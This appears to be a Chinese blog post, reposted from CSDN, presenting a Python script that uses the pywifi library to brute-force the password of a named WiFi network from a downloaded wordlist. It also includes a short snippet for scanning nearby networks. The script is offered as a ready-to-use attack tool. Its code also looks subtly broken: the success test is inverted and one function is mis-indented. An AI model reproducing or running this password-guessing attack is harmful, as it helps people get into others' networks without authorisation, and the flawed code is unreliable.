暴力破解WIFI

import pywifi
from pywifi import const
import time # 时间模块
''''
1:导入模块
2:抓取第一个网卡接口
3:断开wifi连接
4:从密码本上读取密码
5:设置睡眠时间 3秒左右
'''
# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
    '''WIFI的测试连接'''
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #断开WiFi连接
    ifaces.disconnect()
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建WIFI文件
        profile = pywifi.Profile()
        # wifi名称
        profile.ssid = wifiname
        # 密码
        profile.key = wifipwd
        # WiFi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的WIFI文件
        ifaces.remove_all_network_profiles()
        # 设定新的链接文件
        temp_profile = ifaces.add_network_profile(profile)
        # 连接wifi
        ifaces.connect(temp_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_DISCONNECTED:
            return True
        else:
            return False
# 读取密码本
def read_pwd():
    '''读取密码本'''
    print('开始破解:')
    path = r'C:\Users\Frenzy Fan\PycharmProjects\untitled1\WiFI\wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            wifipwd = file.readline()
            bool =wificonnect('CMCC-v6ic',wifipwd)
            if bool:
                print('密码正确'+wifipwd)
                break   # 退出一层循环
            else:
                print('密码错误'+wifipwd)
        except:
            continue
    file.close()
read_pwd()
# wificonnect('CMCC-v6ic','123')

密码本去网上下载一个就可以,

结果:
在这里插入图片描述

pywifi的用法:

import pywifi
from pywifi import const     # 引入一些定义
# 判断是否连接到wifi环境
def gic():
    # 创建一个wifi对象
    wifi = pywifi.PyWiFi()
    # 获取网卡    []  列表
    ifaces = wifi.interfaces()[0]
    # 获取无线网卡名字
    # print(ifaces.name())
    # print(ifaces.status())      #  0代表没有连接到wifi
    if ifaces.status() == const.IFACE_DISCONNECTED:
        print('wifi未连接')
    else:
        print('wifi已连接')
# gic()
# 扫描附近WIFI
    def bies():
        # 创建一个wifi对象
        wifi = pywifi.PyWiFi()
        # 获取网卡    []  列表
        ifaces = wifi.interfaces()[0]
        # 扫描
        ifaces.scan()
        bessis = ifaces.scan_results()
        print(bessis)
        for wifi in bessis:
            # wifi名字
            print(wifi.ssid)
    bies()
发布了62 篇原创文章 · 获赞 124 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_45822638/article/details/104901798